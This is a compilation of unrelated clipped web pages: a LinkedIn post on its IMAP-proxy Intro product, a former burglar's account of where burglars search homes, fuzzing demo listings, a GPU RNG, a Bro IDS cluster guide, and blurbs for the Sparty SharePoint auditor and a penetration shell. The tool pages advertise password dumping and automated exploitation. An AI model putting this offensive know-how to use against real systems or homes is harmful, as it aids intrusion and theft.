---|---  
**Updated:**| _10/24/2013 1:17:09 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis mobile/embedded privacy iOS_  
  

# **L** inkedIn Intro: Doing the Impossible on iOS****

We recently launched LinkedIn Intro  — a new product that shows you LinkedIn
profiles, _right inside the native iPhone mail client_**.** That’s right: we
have extended Apple’s built-in iOS Mail app, a feat that many people consider
to be impossible**.** This post is a short summary of how Intro works, and
some of the ways we bent technology to our will**.**

With Intro, you can see at a glance the picture of the person who’s emailing
you, learn more about their background, and connect with them on LinkedIn**.**
This is what it looks like:

<img src='img/Temp2_4934.png' alt='The iPhone mail app, before and after
Intro' />

The iPhone mail app, before and after Intro

## How Intro Came to Be****

The origins of Intro go back to before the acquisition of Rapportive  by
LinkedIn**.** At Rapportive, we had built a browser extension that modified
Gmail to show the profile of an email’s sender within the Gmail page**.** The
product was popular, but people kept asking: “I love Rapportive in Gmail, when
can I have it on mobile too**?** ”

The magic of Rapportive is that you don’t have to remember to use it**.** Once
you have it installed, it is right there inside your email, showing you
everything you need to know about your contacts**.** You don’t need to fire up
a new app or do a search in another browser tab, because the information is
right there when you need it**.** It just feels natural.

At LinkedIn, we want to work wherever our members work **.** And we know that
professionals spend a lot of time on their phone, checking and replying to
emails — so we had to figure out how to enhance mobile email, giving
professionals the information they need to be brilliant with people**.**

But how do we do that? Ask any iOS engineer: there is no API for extending the
built-in mail app on the iPhone**.** If you wanted to build something like
Rapportive, most people would tell you that it is impossible**.** Yet we
figured it out.

## Impossible \#1: Extending the iOS Mail Client****

Our key insight was this: we cannot extend the mail client, but we can add
information to the messages themselves**.** One way to do this would be to
modify the messages on the server — but then the modification would appear on
all your clients, both desktop and mobile**.** That would not be what users
want**.**

Instead, we can add information to messages by using a proxy server**.**

<img src='img/Temp2_4936.png' alt='Rewriting messages using an IMAP proxy' />

Rewriting messages using an IMAP proxy

Normally your device connects directly to the servers of your email provider
\(Gmail, Yahoo, AOL, etc**.**\), but we can configure the device to connect to
the Intro proxy server instead**.**

The Intro proxy server speaks the IMAP  protocol just like an email provider,
but it doesn’t store messages itself**.** Instead, it forwards requests from
the device to your email provider, and forwards responses from the email
provider back to the device**.** En route, it inserts Intro information at the
beginning of each message body — we call this the top bar**.**

The great thing about this approach: the proxy server can tailor the top bar
to the device, since it knows which device is downloading the message**.** It
can adapt the layout to be appropriate to the screen size, and it can take
advantage of the client’s latest features, because it doesn’t need to worry
about compatibility with other devices**.**

Our proxy server is written in Ruby using EventMachine, which allows it to
efficiently handle many concurrent IMAP connections**.** We have developed
some libraries to make the evented programming model nicer to work with,
including Deferrable Gratification  and LSpace **.**

## Impossible \#2: Interactive UI in Email****

Ok, we have a way of adding information about the sender to a message — but so
far it’s just a static piece of HTML**.** The top bar is deliberately minimal,
because we don’t want it to get in the way**.** But wouldn’t it be _awesome_
if you could tap the top bar and see the full LinkedIn profile… without
leaving the mail app**?**

“But that’s impossible,” they cry, “you can’t run JavaScript in the mail
client**\!** ” And that’s true — any JavaScript in an email is simply
ignored**.** But iOS Mail does have powerful CSS capabilities, since it uses
the same rendering engine as Safari**.**

Recall that CSS has a `:hover` state that is triggered when you hover the
mouse over an element**.** This is used for popup menus in the navigation of
many websites, or for tooltips**.** But what do you do on a touchscreen
device, where there is no hovering or clicking, only tapping**?**

A little-known fact about CSS on Mobile Safari: in certain circumstances,
tapping a link once simulates a `:hover` state on that link, and tapping it
twice has the effect of a click**.** Thanks to this feature, popup menus and
tooltips still work on iOS**.**

With some creativity, we figured out how to use this effect to create an
interactive user interface _within_ a message**\!** Just tap the top bar to
see the full LinkedIn profile:

<img src='img/Temp2_4937.png' alt='With CSS tricks we can embed an entire
LinkedIn profile in a message' />

With CSS tricks we can embed an entire LinkedIn profile in a message

## Impossible \#3: Dynamic Content in Email****

This `:hover` trick allows us to have some interactivity within a message, but
for more complex interactions we have to take you to the browser \(where we
can run a normal web app, without the mail app’s limitations\)**.** For
example, if you want to connect with your contact on LinkedIn, we take you to
Safari**.**

That’s fine, but it leaves us with a problem: the top bar needs to show if
you’re already connected with someone**.** Say you send an invitation, and the
other person accepts — now you’re connected, but if you open the same email
again, it still says that you’re not connected**\!**

This is because once a message has been downloaded, an IMAP client may assume
that the message will never change**.** It is cached on the device, and unlike
a web page, it never gets refreshed**.** Now that you’re connected, the top
bar content needs to change**.** How do we update it**?**

Our solution: the connect button is in a tiny `<iframe>` which is refreshed
every time you open the message**.** And if you open the message while your
device is offline**?** No problem: the `iframe` is positioned on top of an
identical-looking button in the static top bar HTML**.** If the `iframe` fails
to load, it simply falls back to the connection status at the time when the
message was downloaded**.**

This allows the top bar to contain dynamic content, even though it’s
impossible for the server to modify a message once it has been downloaded by
the device**.**

<img src='img/Temp2_4935.png' alt='Using an embedded iframe to keep the
connection status up-to-date, within an otherwise static top bar' />

Using an embedded iframe to keep the connection status up-to-date, within an
otherwise static top bar

## Impossible \#4: Easy Installation****

Once we got the IMAP proxy working, we were faced with another problem: how do
we configure a device to use the proxy**?** We cannot expect users to manually
enter IMAP and SMTP hostnames, choose the correct TLS settings, etc — it’s too
tedious and error-prone**.**

Fortunately, Apple provides a friendly way of setting up email accounts by
using configuration profiles  — a facility that is often used in enterprise
deployments of iOS devices**.** Using this technique, we can simply ask the
user for their email address and password, autodiscover the email provider
settings, and send a configuration profile to the device**.** The user just
needs to tap “ok” a few times, and then they have a new mail account**.**

Moreover, for Gmail and Google Apps accounts, we can use OAuth, and never need
to ask for the user’s password**.** Even better**\!**

<img src='img/Temp2_4933.png' alt='iOS configuration profiles make setup of
new email accounts a breeze' />

iOS configuration profiles make setup of new email accounts a breeze

## Security and Privacy****

We understand that operating an email proxy server carries great
responsibility**.** We respect the fact that your email may contain very
personal or sensitive information, and we will do everything we can to make
sure that it is safe**.** Our principles and key security measures are
detailed in our pledge of privacy **.**

## Conclusion****

When we first built Rapportive for Gmail, people thought that we were crazy —
writing a browser extension that modified the Gmail page on the fly,
effectively writing an application inside someone else’s application**\!** But
it turned out to be a great success, and many others have since followed our
footsteps and written browser extensions for Gmail**.**

Similarly, Intro’s approach of proxying IMAP is a novel way of delivering
software to users**.** It operates at the limit of what is technically
possible, but it has a big advantage: we can enhance the apps you already
use**.** Of course the idea isn’t limited to the iPhone, so watch out for new
platforms coming your way soon :\)

This post has only scratched the surface of the interesting challenges we have
overcome while building Intro**.** In follow-up posts we will talk about some
of our CSS techniques, testing and monitoring tools, things we do to achieve
high performance and high reliability, and more**.** In the meantime, check
out Intro  and let us know what you think**\!**

****

# The Best Place To Hide Money: Conversation With A Burglar - SavingAdvice.com
Blog

**Created:**| _8/4/2009 10:58:02 AM_  
---|---  
**Updated:**| _8/4/2009 10:59:44 AM_  
**Author:**| __  
**Tags:**| _socialising_  
  

< Blog Home

### The Best Place To Hide Money: Conversation With A Burglar

  * Posted by pfadvice
  * February 5, 2007

  

I had quite the interesting conversation this weekend with a person who
happened to be a former burglar. It was great timing because I was wondering
if something like the skid mark underwear for hiding money would really work.
I also figured that if you wanted to know the best place to hide your money
from a burglar, a former burglar was the person to ask.

I started off simply and was not surprised by the answer to the question
“where is the best place to hide your money?”

“At the bank,” he said with a sly grin

When I rephrased and asked where the best place to hide money and valuables
**in the house** would be if you had such items there, I was taken a bit by
surprise by his answer:

“It doesn’t matter how clever you think you are or where you hide it in your
house, if I have enough time, I would be able to find where you stash your
valuables,” he said bluntly. He then explained that what was much more
important than the actual place where you hide your valuables is that you
understand a burglar’s motivations. Basically, he has two:

1\. To steal your money and valuables  
2\. To get out of the house as quickly as possible with these goods

When you begin to think of it from this perspective, how you should hide your
money changes a bit. Obviously, you don’t want to leave all your money in the
places where the burglar will first look: dresser drawers, drawers by phones,
desks, closets, a safe \(if not bolted down\), boxes, jewelry boxes, purse,
etc.\). That being said, you also don’t want to hide all of your money too
well for the following reason:

“If I can’t find money and valuables in the normal places I usually find them,
I would continue to tear the house apart until I found something. Remember,
the first rule is to to steal money and valuables. We’ll keep looking until we
find something.”

Your best strategy, then, is to actually leave some money in obvious places
for the burglar to quickly find \(the same applies if you keep all your money
in the bank\). This can not only save your other stash of money, but may
actually keep the burglar from destroying your place as he looks for where you
have hidden your money. If they believe they may have found the cash that you
have in the house, they are much less likely to keep looking \(remember, they
want to get out asap\). In the end, if you hide all your money well, you may
win a moral victory in not letting the burglar find the money, but you’ll
likely have much more damage done to your place that will end up costing you
more in the long run.

The next obvious question was “How much money should you leave for the burglar
to find?”

“It depends on the area where you live. If you are in a upscale community and
only leave $100, I would assume there is more and keep looking. In a different
part of town $100 would convince me I found all the money that was there and
leave.”

When it comes to hiding valuables, his suggestion is to mark an envelope in an
easily accessible drawer or with files by your computer with “Bank Safe
Deposit Box” on the outside and a list of items on the inside. This will tip
off the burglar that your most valuable items are stored at the bank and will
discourage him from tearing up your house looking for them.

So the question of where is the best places to hide money still hadn’t been
answered?

His number one recommendation for money was in toys in a young child’s room.
As he explained, young children don’t have money, they have an abundance of
toys and most parents don’t trust a child around money. Therefore, parents
will rarely hide money there. In addition, when money is hidden, it is usually
hidden away neatly and securely — a child’s room is rarely a neat place making
it an unlikely place for money to be hidden. Plus with all the stuff in a
child’s room, it is not someplace that a burglar can search quickly and get
out \(rule \#2\).

If you have a safe, it should be professionally bolted down so it can’t easily
be removed. If you leave some token money for the burglar to find in the
places they normally look for money, then anyplace you wouldn’t normally
consider a place to hide valuables will usually keep those valuables safe. The
underside of trash cans, inside laundry detergent, inside false packaging
\(but only if the packaging appears real and is in the appropriate place –
“When you find a Campbell’s soup can in the bedroom, you have a pretty good
idea there is money inside”\) were some examples he gave.

And my question of whether the skid mark underwear would be a good place to
hide money?

He laughed. “I haven’t heard of that, but I doubt I would have touched
something like that had I seen it.”

You also need to be smart about where you hide the money. He related one time
a person had left wads of money inside the empty battery areas of electronics
around the house. The problem was that although he had not found the hidden
money at first, the electronics themselves were worth money and he took those
to sell. Only when he got home and was checking that everything worked did he
find the hidden cash. The person hid the money well, but not in a good place.

One last tip from a personal finance angle – if you do hide money someplace
around the house, make sure that your significant other \(or someone close\)
knows where your hiding place is. If something unfortunate happens to you and
nobody knows where your hidden stash is, it’s unlikely that they will be able
to find it if a burglar isn’t able to find it. Worse, it could very easily be
accidentally thrown away depending on where it is hidden.

Part II: Don’t Hide Money In The Toilet: More Conversation With A Burglar

  
With my previous post The Best Place To Hide Money – Conversation With A
Burglar being one of my most popular posts ever on this site, there wasn’t any
hesitation when I was at another gathering over the weekend and spotted the
former burglar that had given me the information. I went straight up to him
and asked if I could talk with him for awhile. This is what I learned from the
second conversation we had:Most people don’t understand the motivation of why
the burglar is stealing. As he explained:_99% of the burglars on the street
aren’t like the ones you see in the movies where stealing is their chosen
profession. They are motivated by more sinister reasons. They are part of
organized crime, they are part of a gang or, as in my case at the time, they
are drug addicts._ When you realize that you are most likely hiding your money
away from people described above and not the professional burglars you see in
the movies and on TV, it gives a different perspective of where you absolutely
shouldn’t be hiding your money.What he explained was that when people hide
their money, they usually think of a place where they would never look
themselves instead of where a burglar is unlikely to find the money. Take, for
example, the back of the closet in a box where he said he often found
valuables. For the person who is hiding the money or valuables, this is an
inconvenient place and it takes effort to get to. Since all the boxes in front
of it have meaning and therefore need to be carefully placed aside before
reaching the box that contains valuables in the back, it seems like an
inconvenient place to access. For the burglar, however, the boxes in front
have no meaning and he will simply throw them aside without a second thought
making it quite easy to access that hiding place.As the conversation
continued, the former burglar mentioned “bonus places” he sometimes found
money. These were places that he always looked that an average homeowner might
consider a good place to hide money, but it wasn’t money that he was after. If
there happened to be money there, however, it was a nice, unexpected
bonus._All burglars have habits and there were certain places I always checked
for a specific reason – I was a drug addict. I’m sure that other burglars have
their particular search areas beyond the obvious drawers and closets, but I
bet that most search these areas, too._ These are the areas he always searched
and the reason why you don’t want to hide money there:**Toilets** : While this
might seem like an unlikely place for a burglar to look, in the toilet bowl
tank \(as well as all the area round the toilet\) is one place that he always
took the time to look: “In and around the toilet is where a lot of people hide
their drugs. The tank seems an especially popular place, but I will also
search boxes of tampons, toilet paper rolls, potpourri… If it is in the
vicinity of the toilet and looks like drugs could be hidden there, I would
look.”**Cereal Boxes** : As with the toilet, “Cereal boxes are another place
where a lot of people like to hide drugs. I’m sure that the people who didn’t
have drugs in their house wondered why there was cereal spread all over their
kitchen after I robbed them.”**Refrigerator & Freezer**: The refrigerator may
be another place that would seem unlikely for a burglar to investigate, but as
he pointed out, “Many drugs last longer when refrigerated so big stashes end
up in the refrigerator. Prescription drugs could also be found in the
refrigerator.”**Medicine Cabinet** : As with the refrigerator, “The medicine
cabinet would usually be filled with prescription drugs that could be just as
valuable on the street \(or for self use\) as illegal drugs.”**Bed** : “I
would toss everything surrounding the bed. I’d check pillows, between the
mattresses, under the bed and inside anything close to the bed. This is often
where people would hide their guns.”As mentioned in the previous article, the
best place to keep money is at the bank, but if you do decide to stash some
extra cash at home in case of an emergency, you now know that these possible
hiding places are not where you want to hide your money.//So skitty-baiting
with a burglar. Let's hope they don't read

# The Development of an Offensive Code Framework: Prototype: A Change of
Languages and a SLR\(1\) Parser

**Created:**| _9/3/2009 9:32:23 AM_  
---|---  
**Updated:**| _9/3/2009 9:32:32 AM_  
**Author:**| __  
**Tags:**| _bookmark Exploit reversing_  
  

# The Development of an Offensive Code Framework

This project is intended to demonstrate that current popular approaches to
software security \(e.g. DAC, VMA randomization, anti-virus, NIDS, etc.\) are
not sufficient and that other approaches should be considered more seriously
\(e.g. MAC, design by contract, mutual authentication/authorization, etc.\).

# The Art of Fuzzing – Slides and Demos | SEC Consult
**Created:**| _11/23/2017 9:33:45 AM_  
---|---  
**Updated:**| _11/23/2017 9:33:45 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

<img src='img/Temp2_7968.png' width='820' height='315' />

# The Art of Fuzzing – Slides and Demos

  * __ On 21. Nov

**Over the last weeks I presented talks on the topic of fuzzing at conferences
such asDefCamp, Heise Dev Sec, IT-SeCX and BSides Vienna. As promised, I make
my slides and demos available to the public with this blog post .**

The slide deck containing all slides from the conferences.

Read more about fuzzing in my last blog post “Hack the Hacker – Fuzzing
Mimikatz On Windows With WinAFL & Heatmaps \(0day\)”

### Demos

Demo 1  
CTF Challenge “Chat” \(SECCON CTF – Try to find the vulnerabilities\)

Demo 2  
AFL Fuzzing workflow with FFMPEG as example

Demo 3  
Short demonstration of LibFuzzer

Demo 4  
Fuzzing Mimikatz with WinAFL and Taint Analysis

Demo 5  
Using breakpoints to extract coverage information. Example with Adobe Reader.

Demo 6  
Demonstration of DynamoRio DrCov to get coverage information from Adobe
Reader.

Demo 7  
How to detect when a PDF finished loading

Demo 8  
Demonstration on finding the start and end address of the target function
which should be fuzzed in-memory \(Example with HashCalc\).

Demo 9  
In-memory fuzzing of HashCalc with WinAppDbg \(750 exec / sec\)

Demo 10  
In-memory fuzzing of HashCalc with DynamoRio \(170 000 exec / sec\)

Demo 11  
Fuzzing interactive applications with a self written fuzzer to discover deep
bugs \(which are not found per default by AFL\)

Demo 12  
Enabling GFlags and Application Verifier on Windows to identify
vulnerabilities in mimikatz.

* * *
This research was done by René Freingruber \(@ReneFreingruber\) on behalf of
SEC Consult Vulnerability Lab.

SEC Consult is always searching for talented security professionals to work in
our team. More information can be found here.  
STAY UPDATED – FOLLOW US ON TWITTER

  

# rndgpu | Anfractuosity | Still waiting on the daybreak, its shadows in my mind
**Created:**| _10/14/2013 7:55:23 PM_  
---|---  
**Updated:**| _10/14/2013 7:55:23 PM_  
**Author:**| __  
**Tags:**| _crypto GPU random_  
  

# **_rndgpu****_**

**GPU based random number generator**

We make use of a GPU with OpenCL support in order to generate random
numbers**.**

It works as “Global memory is consistent across work-items in a single work-
group at a work-group barrier, but there are no guarantees of memory
consistency between different work-groups executing a kernel**.** ”, also
different work-groups don’t necessarily execute instructions at precisely the
same time**.**

The kernel which is executed on multiple processing elements:

| `__kernel void rng(__global int* data) {``int z =0;``for(z = 0; z<10091;
z++)``data[0] = data[0] ^ 1;``}`  
---|---  
All kernel instances try to read and write to the same memory element**.** We
simply toggle the value  
of the same element in a global array, by making use of xor**.**

If you play with this, I strongly suggest you play around with the following
values \(along with choosing the number  
of iterations in the above for loop\):

| `const size_t N = 1024*20;``const size_t groupsize = 4;`  
---|---  
The output from ‘ent’ which provides information on how random  
the data in a file is:

| `Entropy = 7**.** 988515 bits per byte**.**``Optimum compression would
reduce the size``of this 32632 byte file by 0 percent**.**``Chi square
distribution for 32632 samples is 522**.** 98, and randomly``would exceed this
value less than 0**.** 01 percent of the times**.**``Arithmetic mean value of
data bytes is 127**.** 8626 (127**.** 5 = random).``Monte Carlo value for Pi
is 3**.** 168076499 (error 0.84 percent)**.**``Serial correlation coefficient
is -0**.** 012086 (totally uncorrelated = 0**.** 0).`  
---|---  
Get the code

\(Please don’t use this RNG for anything important\)

###### _1 Comments****_

###### _Leave Comment****_

###  Click here to cancel reply****

Name \*

Email \*

7 − three =

Comment \*

****

# SecNiche Security Labs - /root@labs:~\#

**Created:**| _8/21/2013 8:01:06 AM_  
---|---  
**Updated:**| _8/21/2013 8:01:06 AM_  
**Author:**| __  
**Tags:**| __  
  

# **S** ecNiche Security Labs****

## Sparty - MS Sharepoint and Frontpage Auditing Tool****

<img src='img/Temp2_7272.jpg' /> <img src='img/Temp2_7271.jpg' />

### Introducing Sparty**\!**

  * **Overview**  
Sparty is an open source tool written in python to audit web applications
using sharepoint and frontpage architecture**.** The motivation behind this
tool is to provide an easy and robust way to scrutinize the security
configurations of sharepoint and frontpage based web applications**.** Due to
the complex nature of these web administration software, it is required to
have a simple and efficient tool that gathers information, check access
permissions, dump critical information from default files and perform
automated exploitation if security risks are identified**.** A number of
automated scanners fall short of this and Sparty is a solution to that**.**

### Release****

  * Sparty is released at BlackHat USA Arsenal 2013, Las Vegas**.**
  * http://www.blackhat.com/us-13/arsenal.html\#Sood**.**
  * This tool has been crafted while working with IOActive Inc**.** . Thanks to IOActive Labs for its support \!
  * Special thanks to ToolsWatch 

###  Presentation **\!**

### Version 0.1 - Functionality \!

  * Sharepoint and Frontpage Version Detection**\!**
  * Dumping Password from Exposed Configuration Files**\!**
  * Exposed Sharepoint/Frontpage Services Scan**\!**
  * Exposed Directory Check\!
  * Installed File and Access Rights Check**\!**
  * RPC Service Querying\!
  * File Enumeration**\!**
  * File Uploading Check\!

### Documentation - Usage Examples**** :

  * Detailed examples have been shown here: **Sparty Usage**.** **

### Download \!

  * **Sparty Version 0**.** 1 **

### Bugs \!

  * Send all bugs and queries to : **0kn0ck \[no spam\] secniche.org**

****

# Open-Source Security Tools: Multi-node Bro Cluster Setup Howto

**Created:**| _4/3/2014 1:45:04 PM_  
---|---  
**Updated:**| _4/3/2014 1:45:04 PM_  
**Author:**| __  
**Tags:**| _iDS/iPS_  
  

# Multi-node Bro Cluster Setup Howto

My previous post covering setting up a Bro cluster was a good starting point
for using all of the cores on a server to process network traffic in Bro. This
post will show how to take that a step further and setup a multi-node cluster
using more than one server. We'll also go a step further with PF\_RING and
install the custom drivers.

##  For each node:

We'll begin as before by installing PF\_RING first:  
  
Install prereqs  
sudo apt-get install ethtool libcap2-bin make g++ swig python-dev libmagic-dev
libpcre3-dev libssl-dev cmake git-core subversion ruby-dev libgeoip-dev flex
bison  
Uninstall conflicting tcpdump  
sudo apt-get remove tcpdump libpcap-0.8  
Make the PF\_RING kernel module  
cd  
svn export https://svn.ntop.org/svn/ntop/trunk/PF\_RING/ pfring-svn  
cd pfring-svn/kernel  
make && sudo make install  
Make PF\_RING-aware driver \(for an Intel NIC, Broadcom is also provided\).  
PF\_RING-DNA \(even faster\) drivers are available, but they come with
tradeoffs and are not required for less than one gigabit of traffic.  
First, find out which driver you need  
lsmod | egrep "e1000|igb|ixgbe|bnx|bnx"  
If you have multiple listed, which is likely, you'll want to see which is
being used for your tap or span interface that you'll be monitoring using
lspci. Note that when you're installing drivers, you will lose your remote
connection if the driver is also controlling the management interface. I also
recommend backing up the original driver that ships with the system. In our
example below, I will use a standard Intel gigabit NIC \(igb\).  
find /lib/modules -name igb.ko  
Copy this file for safe keeping as a backup in case it gets overwritten
\(unlikely, but better safe than sorry\). Now build and install the driver:  
cd ../drivers/PF\_RING\_aware/intel/igb/igb-3.4.7/src  
make && sudo make install  
Install the new driver \(this will take any active links down using the
driver\)  
rmmod igb && modprobe igb  
Build the PF\_RING library and new utilities  
cd ../userland/lib  
./configure --prefix=/usr/local/pfring && make && sudo make install  
cd ../libpcap-1.1.1-ring  
./configure --prefix=/usr/local/pfring && make && sudo make install  
echo "/usr/local/pfring/lib" >> /etc/ld.so.conf  
cd ../tcpdump-4.1.1  
./configure --prefix=/usr/local/pfring && make && sudo make install  
\# Add PF\_RING to the ldconfig include list  
echo "PATH=$PATH:/usr/local/pfring/bin:/usr/local/pfring/sbin" >>
/etc/bash.bashrc  
  
  
Create the Bro dir  
sudo mkdir /usr/local/bro  
  
Set the interface specific settings, assuming eth4 is your gigabit interface
with an MTU of 1514:  
  
rmmod pf\_ring  
modprobe pf\_ring transparent\_mode=2 enable\_tx\_capture=0  
ifconfig eth4 down  
ethtool -K eth4 rx off  
ethtool -K eth4 tx off  
ethtool -K eth4 sg off  
ethtool -K eth4 tso off  
ethtool -K eth4 gso off  
ethtool -K eth4 gro off  
ethtool -K eth4 lro off  
ethtool -K eth4 rxvlan off  
ethtool -K eth4 txvlan off  
ethtool -s eth4 speed 1000 duplex full  
ifconfig eth4 mtu 1514  
ifconfig eth4 up  
  
Create the bro user:  
sudo adduser bro --disabled-login  
sudo mkdir /home/bro/.ssh  
sudo chown -R bro:bro /home/bro  
  
Now we need to create a helper script to fix permissions so our our Bro user
can run bro promiscuously. You can put the script anywhere, but it needs to be
run after each Bro update from the manager \(broctl install\). I'm hoping to
find a clean way of doing this in the future via the broctl plugin system. The
script looks like this, assuming eth4 is your interface to monitor:  
  
  
\#\!/bin/sh  
setcap cap\_net\_raw,cap\_net\_admin=eip /usr/local/bro/bin/bro  
setcap cap\_net\_raw,cap\_net\_admin=eip /usr/local/bro/bin/capstats

##  On the manager:

Create SSH keys:  
sudo ssh-keygen -t rsa -k /home/bro/.ssh/id\_rsa  
sudo chown -R bro:bro /home/bro  
  
On each node, you will need to create a file called
/home/bro/.ssh/authorized\_keys and place the text from the manager's
/home/bro/.ssh/id\_rsa.pub in it. This will allow the manager to login without
a password, which will be needed for cluster admin. We need to login once to
get the key loaded into known\_hosts locally. So for each node, also execute:  
sudo su bro -c 'ssh bro@<node> ls'  
  
Accept the key when asked \(unless you have some reason to be suspicious\).  
  
Get and make Bro  
cd  
mkdir brobuild && cd brobuild  
git clone --recursive git://git.bro-ids.org/bro  
./configure --prefix=/usr/local/bro --with-pcap=/usr/local/pfring && cd build
&& make -j8 && sudo make install  
cd /usr/local/bro  
  
Create the node.cfg  
vi etc/node.cfg  
It should look like this:  
  
\[manager\]  
type=manager  
host=<manager IP>  
  
\[proxy-0\]  
type=proxy  
host=<first node IP>  
  
\[worker-0\]  
type=worker  
host=<first node IP>  
interface=eth4 \(or whatever your interface is\)  
lb\_method=pf\_ring  
lb\_procs=8 \(set this to 1/2 the number of CPU's available\)  
  
  
Repeat this for as many nodes as there will be.  
  
Now, for each node, we need to create a packet filter there to do a poor-man's
load balancer. You could always use a hardware load balancer to deal with
this, but in our scenario, that's not possible, and all nodes are receiving
the same traffic. We're going to have each node focus on just its own part of
the traffic stream, which it will then load balance using PF\_RING internally
to all its local worker processes. To accomplish this, we're going to use a
very strange BPF to send a hash of source/destination to the same box. This
will load balance based on the IP pairs talking, but it may be suboptimal if
you have some very busy IP addresses.  
  
In our example, there will be four nodes monitoring traffic, so the BPF looks
like this for the first node:  
\(ip\[14:2\]+ip\[18:2\]\) - \(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 0  
So, in /etc/bro/local.bro, we have this:  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 0";  
On the second node, we would have this:  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 1";  
Third:  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 2";  
And fourth:  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 3";  
  
Special note: If you are monitoring a link that is still vlan tagged \(like
from an RSPAN\), then you will need to stick vlan <vlan id> && in front of
each of the BPF's.  
  
We wrap a check around these statements so that the correct one gets execute
don the correct node, so the final version is added to the bottom of our
/usr/local/bro/share/bro/site/local.bro file which will be copied out to each
of the nodes:  
  
\# Set BPF load balancer for 4 worker nodes  
@if \( Cluster::node == /worker-0.\*/ \)  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 0";  
@endif  
@if \( Cluster::node == /worker-1.\*/ \)  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 1";  
@endif  
@if \( Cluster::node == /worker-2.\*/ \)  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 2";  
@endif  
@if \( Cluster::node == /worker-3.\*/ \)  
redef cmd\_line\_bpf\_filter="\(ip\[14:2\]+ip\[18:2\]\) -
\(4\*\(\(ip\[14:2\]+ip\[18:2\]\)/4\)\) == 3";  
@endif  
  
Finally, we need to send all of our logs somewhere like ELSA. We can do this
with either syslog-ng or rsyslogd. Since rsyslog is installed by default on
Ubuntu, I'll show that example. It's the same as in the previous blog post on
setting up Bro:  
  
Create /etc/rsyslog.d/60-bro.conf and insert the following, changing
@central\_syslog\_server to whatever your ELSA IP is:  
  
$ModLoad imfile \#  
$InputFileName /usr/local/bro/logs/current/ssl.log  
$InputFileTag bro\_ssl:  
$InputFileStateFile stat-bro\_ssl  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/smtp.log  
$InputFileTag bro\_smtp:  
$InputFileStateFile stat-bro\_smtp  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/smtp\_entities.log  
$InputFileTag bro\_smtp\_entities:  
$InputFileStateFile stat-bro\_smtp\_entities  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/notice.log  
$InputFileTag bro\_notice:  
$InputFileStateFile stat-bro\_notice  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/ssh.log  
$InputFileTag bro\_ssh:  
$InputFileStateFile stat-bro\_ssh  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
$InputFileName /usr/local/bro/logs/current/ftp.log  
$InputFileTag bro\_ftp:  
$InputFileStateFile stat-bro\_ftp  
$InputFileSeverity info  
$InputFileFacility local7  
$InputRunFileMonitor  
\# check for new lines every second  
$InputFilePollingInterval 1  
local7.\* @central\_syslog\_server  
  
Then,  
  
restart rsyslog  
  
We're ready to start the cluster. Broctl will automatically copy over all of
the Bro files, so we don't have to worry about syncing any config or Bro
program files.  
  
cd /usr/local/bro  
su bro -c 'bin/broctl install'  
su bro -c 'bin/broctl check'  
  
  
On each node \(this is the annoying part\), run the bro\_init.sh script:  
ssh <admin user>@<node> "sudo sh /path/to/bro\_init.sh"  
  
This only needs to be done after 'install' because it overwrites the Bro
binaries which have the special permissions set.  
  
Now we can start the cluster.  
  
su bro -c 'bin/broctl start'  
  
If you cd to /usr/local/bro/logs/current, you should see the files growing as
logs come in. I recommend checking the /proc/net/pf\_ring/ directory on each
node and catting the pid files there to inspect packets per second, etc. to
ensure that everything is being recorded properly. Now all you have to do is
go rummaging around for some old servers headed to surplus, and you'll have a
very powerful, distributed \(tell management it's "cloud"\) IDS that can do
some amazing things.  
  

# CelNet Security

**Created:**| _11/23/2010 3:15:09 PM_  
---|---  
**Updated:**| _11/23/2010 3:15:38 PM_  
**Author:**| __  
**Tags:**| _security tools web commandline-kungfu pentest_  
  

What Is RPSS?

RPSS \(REMOTE PENETRATION TESTING SECURITY SHELL\)IS THE EXTENSION TOOL OF
YOUR SHELL OR BASH. IT WILL ADD FEW ADITIONAL FUNCTIONALITY BASED ON SECURITY
AND PENETRATION TO YOUR COMMAND SHELL. THIS TOOL WILL ACCESS THE INTERNET FROM
THE COMMAND PROMPT. BASICALLY THIS TOOL WORKE AS A BROUSER FROM COMMAND SHELL.
IT WILL FATCH SECURITY RELATED VULNARABLITY AND IT WILL DISPLAY AND STORE ITS
OUTPUT IN THE SPECIFIC FILES. THIS IS POWERFUL SECURITY SHELL WHICH CAN BE
PENETRATE ANY OF THE WEB APPLICATION. IF YOU ARE EXPERIENCED HACKER OR
PENETRATION TESTER THEN USING THIS TOOL YOU CAN MAKE YOUR PENETRATION PROCESS
MORE FAST AND EASY. THIS TOOL IS COVERING ALMOST ALL THE HACKING AND
PENETRATION TECHNIQUES. BASICALLY IF YOU ARE NEW IN SECURITRY WORLD AND YOU
HAVE HARD DUTIES TO PENETRATE MANY WEB APPLICATION THEN YOU CAN COMPLETE YOUR
TASK IN COUPLE OF HOURS USING RPSS.

Why RPSS?

